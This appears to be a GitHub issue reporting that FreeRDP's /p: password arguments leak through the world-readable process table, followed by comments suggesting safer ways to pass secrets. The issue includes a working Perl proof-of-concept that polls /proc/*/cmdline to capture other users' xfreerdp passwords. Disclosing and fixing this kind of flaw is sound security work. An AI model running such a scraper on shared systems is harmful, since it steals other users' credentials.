FreeRDP: Supplying passwords via command line argument (e.g. /p:) is broken by design

The currently recommended method to pass passwords to FreeRDP seem to be several command line arguments that take the respective password as an argument, as documented in the usage text:

martin@dogmeat ~/src/FreeRDP % ./client/X11/xfreerdp | grep -i pass
    /pth:<password hash>        Pass the hash (restricted admin mode)
    /p:<password>               Password
    /gp:<password>              Gateway password
    /reconnect-cookie:<base64 cookie>   Pass base64 reconnect cookie to the connection
    /assistance:<password>      Remote assistance password
martin@dogmeat ~/src/FreeRDP % ./client/X11/xfreerdp                                                                             
[...]
Examples:
    xfreerdp connection.rdp /p:Pwd123! /f
    xfreerdp /u:CONTOSO\JohnDoe /p:Pwd123! /v:rdp.contoso.com
    xfreerdp /u:JohnDoe /p:Pwd123! /w:1366 /h:768 /v:192.168.1.100:4489
    xfreerdp /u:JohnDoe /p:Pwd123! /vmconnect:C824F53E-95D2-46C6-9A18-23A5BB403532 /v:192.168.1.100

As most people probably know, this is very unsafe because the password is visible in the process table, e.g. in ps aux. At some point a workaround was added for this problem that replaces the password in the process name with asterisks: #829

Unfortunately, this workaround suffers from two issues:

  1. An attacker can still learn the password length from the process table, which might speed up a brute force attack.
  2. It is a race condition vulnerability: an attacker might still be able to read the password from the process table if he’s fast enough, because there is a small time window between the process creation and the point where the FreeRDP command line parser overwrites the password. If the attacker manages to read the command line from the process table in this time window, he’s able to read the password.

I’ve written a small Perl script that can demonstrate the issue (required the libfile-slurp-perl package to be installed on a Debian system):

#!/usr/bin/perl
use warnings;
use strict;
use File::Slurp;
use Scalar::Util qw(looks_like_number);
my %proc;

sub read_proc($)
{
  my $print = shift;
  my %old_proc = %proc;
  %proc = ();
  opendir my $dh, '/proc' || die "can't opendir";
  while (readdir $dh)
  {
    next if $_ eq "." || $_ eq "..";
    next if !looks_like_number($_);
    $proc{$_} = 1;
    if (!$old_proc{$_} && $print)
    {
      for (my $i = 0; $i < 100; $i++)
      {
        my $contents = read_file "/proc/$_/cmdline", err_mode => "carp";
        next if !defined $contents;
        $contents =~ s/\0/ /g;
        if ($contents =~ /\bxfreerdp/ && $contents !~ /\/p:\*$/)
        {
          print "$contents\n";
          last;
        }
      }
    }
  }
}

read_proc 0;

while(1)
{
  read_proc 1;
}

The script will print FreeRDP passwords after a FreeRDP process has been spawned:

martin@dogmeat ~ % ./test.pl
xfreerdp /cert-ignore +clipboard /u:martin /bpp:8 /size:1680x1050 +compression -wallpaper -menu-anims -themes /v:10.2.56.101 /p:myverysecretpassword 
martin@dogmeat ~ % xfreerdp /cert-ignore +clipboard /u:martin /bpp:8 /size:1680x1050 +compression -wallpaper -menu-anims -themes /v:10.2.56.101 /p:myverysecretpassword
loading channel cliprdr
unable to connect to 10.2.56.101:3389
Error: protocol security negotiation or connection failure

There is the /from-stdin option, but it interferes with other parts of FreeRDP which might want to read from STDIN (for example the “Do you trust the above certificate?” prompt, though this can be worked around with /cert-ignore) and it only supports /p passwords and not the other switches like /pth, /gp and /assistance (at least as far as I can tell from the source, I haven’t actually needed any of these switches yet).

There is a patch from @rkeene in #2904 that adds support for reading passwords from an environment variable, but this apparently hasn’t been added yet. I’d suggest the following changes:

  • add support for reliably and securely passing passwords to FreeRDP, with environment variables and files. Environment variables should be unset by FreeRDP as soon as the password has been read so they can’t be accidentally dumped or passed to subprocessed, and files should probably cause a warning message to be printed if they are world-readable.
  • deprecate (but don’t remove) the old /p etc. options and cause them to print warnings
  • update the documentation so that it demonstrates how to pass passwords securely

About this issue

  • Original URL
  • State: closed
  • Created 8 years ago
  • Reactions: 6
  • Comments: 19 (13 by maintainers)

Commits related to this issue

Most upvoted comments

@ilammy, @akallabeth: /proc/<pid>/environ is only readable by the process owner and by root, and noone else (at least on Linux, not sure about other Unixes)), while /proc/<pid>/cmdline (and therefor also the cmdline from ps aux) is world-readable:

martin@martin ~ % sleep 1m &
[1] 22111
martin@martin ~ % ll /proc/22111/environ 
-r-------- 1 martin martin 0 Apr  4 22:23 /proc/22111/environ
martin@martin ~ % ll /proc/22111/cmdline 
-r--r--r-- 1 martin martin 0 Apr  4 22:23 /proc/22111/cmdline

I’d argue that this makes passing secrets via environment variable much safer than passing secrets via command line. I’m not worried about attacks originating from my account (or root) - it’s probably impossible to defend against that in any case, because if the attacker has already gained access to my account, he could just wrap xfreerdp in a shell script to collect my secrets (or use strace/gdb/…). I am concerned though when other users on the same system can so easily read my secrets, because that absolutely shouldn’t be possible.

and the user also needs to consciously avoid spilling them into their shell history.

Yes. but the history also isn’t readable by other users, so this isn’t really a problem. There are also scenarios where you could use variables to pass secrets where the history is entirely irrelevant, for example when some other program wants to invoke FreeRDP and pass a secret securely.

Following @astrand comment above and for the case it is of interest for somebody, I can store the password and use it from kwallet as follows:

xfreerdp  /p:$(ksshaskpass "Password for 'LABEL': " 2>/dev/null)

LABEL refers to the name that will appear in the ksshaskpass section of kwallet and can be set to anything, for instance ServerName

The first time this is executed a dialog window will ask for the pass. The user can click to save the pass in kwallet. If so, after that time, the above instruction will connect to the server automatically.

I don’t know if it helps in all situations (and I hope it’s on-topic 😃 ), but I also didn’t like the password in the command line. However, I learned that I can use /sec:tls instead of the /p-switch, which at least helps when connecting to Windows machines. What it does is it shows the typical Windows login form where you enter the password as you’d be when sitting in front of the machine. You can still preset the username with /u.

Maybe a different approach to the matter…

The most secure way to deal with passwords is to read them from a designated file descriptor. Gpg to this end has the --passphrase-fd nnn command line option. Here’s a shell script example of passing a password into gpg:

exec 7<passwd
gpg -c -passphrase-fd 7

For me, --from-stdin is sort of workable, but if FreeRDP could be modified to be able to specify the fd to read from, that would clean up my code. A backward compatible syntax could be

--from-stdin:[force]:[fd]

where fd is a numeric file descriptor id. I’d be happy with --from-stdin:[fd]:[force] as well, or even a new option --credentials-fd n.

how do you want to enter [a newline] in any GUI?

Indirectly, via u+0010 or Alt+010, or whatever your system supports for inputting Unicode via multiple key presses.